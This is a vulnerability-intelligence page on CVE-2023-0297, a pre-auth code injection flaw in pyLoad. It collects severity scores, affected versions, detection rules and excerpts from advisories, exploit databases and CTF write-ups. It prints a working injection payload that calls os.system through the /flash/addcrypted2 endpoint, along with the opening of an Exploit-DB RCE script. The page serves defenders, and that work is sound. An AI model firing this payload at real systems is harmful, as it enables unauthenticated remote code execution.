CVE-2023-0297
published 2023-01-14CVE-2023-0297: Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
PriorityP190critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
96.99%
99.9th percentile
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| pyload-ng_project | pyload-ng | >= 0 < 0.5.0b3.dev31 | 0.5.0b3.dev31 |
| pyload | pyload | <= 0.4.20 | — |
| pyload | pyload_pyload | >= unspecified < 0.5.0b3.dev31 | 0.5.0b3.dev31 |
Detection & IOCsextracted from sources · hover to see the quote
commandjk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw
- →Detect exploit attempts by matching POST requests to /flash/addcrypted2 with a body containing the string 'pyimport' — this is the injection vector used to invoke Python code via js2py. ↗
- →Monitor for inbound unauthenticated POST requests to the /flash/addcrypted2 endpoint, especially from external hosts on port 9666 (Click 'N' Load service). ↗
- →Use the Nuclei template matcher: a GET to /flash/addcrypted2 returning a body containing 'JDownloader' confirms a vulnerable pyLoad instance.
- →Use Shodan/FOFA/ZoomEye queries to identify exposed pyLoad instances: html:"pyload", http.title:"login - pyload", title="login - pyload", app="pyLoad".
- →The Content-Type header 'application/x-www-form-urlencoded' is used in the exploit POST request; correlate with the /flash/addcrypted2 path and 'pyimport' in the body for high-fidelity detection. ↗
- ·The primary pyLoad service on port 8000 is not reachable by external hosts by default; exploitation from the internet targets port 9666 (Click 'N' Load). Ensure firewall rules block external access to port 9666 on unpatched instances. ↗
- ·The vulnerability is pre-authentication — no credentials are required to exploit it, making any network-exposed pyLoad instance immediately at risk. ↗
- ·The injection is routed through the js2py library's pyimport functionality; disabling or removing js2py, or upgrading to pyload 0.5.0b3.dev31 or later, closes the attack surface. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Code Injection in pyload-ng
osv·2023-01-14
CVE-2023-0297 [CRITICAL] Code Injection in pyload-ng
Code Injection in pyload-ng
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
GHSA
Code Injection in pyload-ng
ghsa·2023-01-14
CVE-2023-0297 [CRITICAL] CWE-94 Code Injection in pyload-ng
Code Injection in pyload-ng
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
VulnCheck
pyload pyload Improper Control of Generation of Code ('Code Injection')
vulncheck·2023·CVSS 9.8
CVE-2023-0297 [CRITICAL] pyload pyload Improper Control of Generation of Code ('Code Injection')
pyload pyload Improper Control of Generation of Code ('Code Injection')
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
Affected: pyload pyload
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-01-22&host_type=src&vulnerability=cve-2023-0297; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-02-01&host_type=src&vulnerability=cve-2023-0297; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-04-12&host_type=src&vulnerability=cve-2023-0297; https://dashboard.shadowserver.org/statistics/hon
No detection rules found.
Exploit-DB
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
exploitdb·2023-06-14·CVSS 9.8
CVE-2023-0297 [CRITICAL] PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
---
# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297
import requests, argparse
parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()
def doRequest(url):
try:
res = requests.get(url + '/flash/addcrypted2')
if res.status_code == 200:
return True
else:
return False
except requests.except
Nuclei
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
nuclei·CVSS 6.1
CVE-2023-0297 [MEDIUM] PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
Template:
id: CVE-2023-0297
info:
name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
author: MrHarshvardhan,DhiyaneshDk
severity: critical
description: |
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system.
remediation: |
Upgrade PyLoad to a version that is not affected by this vulnerability.
reference:
- https://www.exploit-db.com/exploits/51532
- https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1058
- http://packetstormsecurity.com/files/171096/pyL
Metasploit
pyLoad js2py Python Execution
metasploit
pyLoad js2py Python Execution
pyLoad js2py Python Execution
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load" service runs on port 9666 and can be used remotely without authentication.
Greynoiseio
NoiseLetter March 2025
blogs_greynoiseio
NoiseLetter March 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
CTF
easy / README
ctf_writeups·CVSS 6.0
[MEDIUM] easy / README
---
layout: default
title: Easy Machines
parent: Machines
nav_order: 1
description: "120+ Easy HTB machine writeups with walkthroughs"
permalink: /machines/easy/
---
# HackTheBox Easy Machines - Comprehensive Reference
> Complete catalog of retired HTB Easy machines with OS, key vulnerability, attack path summary, and quality writeup links.
**Total: 100+ Easy Machines** | Updated: April 2026
---
## Quick Navigation
- [Classic / Legacy Machines (2017-2019)](#classic--legacy-machines-2017-2019)
- [2019-2020 Machines](#2019-2020-machines)
- [2021 Machines](#2021-machines)
- [2022 Machines](#2022-machines)
- [2023 Machines](#2023-machines)
- [2024 Machines (Season 4 & 5)](#2024-machines-season-4--5)
- [2025-2026 Machines (Season 6+)](#2025-2026-machines-season-6)
---
## Classic / Legac
CTF
PC / README
ctf_writeups·CVSS 9.8
[CRITICAL] PC / README
# PC - HackTheBox - Writeup
Linux, 30 Base Points, Easy
## Machine
## TL;DR
To solve this machine, we start by using `nmap` to enumerate open services and find ports `22`, and `50051`.
***User***: Scanning all ports revealed that port `50051` is open. Enumeration confirmed that the service running on this port is `gRPC`. Utilized POSTMAN to send requests and discovered a vulnerability in the `getInfo` method, specifically a SQLite injection. Exploiting this vulnerability allowed to obtain the credentials of the `sau` user.
***Root***: During the network analysis, a thorough examination using the netstat command revealed the presence of a local port `8000` which was identified as the hosting point for `pyLoad`. Through the establishment of a secure tunnel to this port, an exploit kn
http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.htmlhttp://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.htmlhttps://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782dhttps://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.htmlhttp://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.htmlhttps://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782dhttps://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65
2023-01-14
Published
Exploited in the wild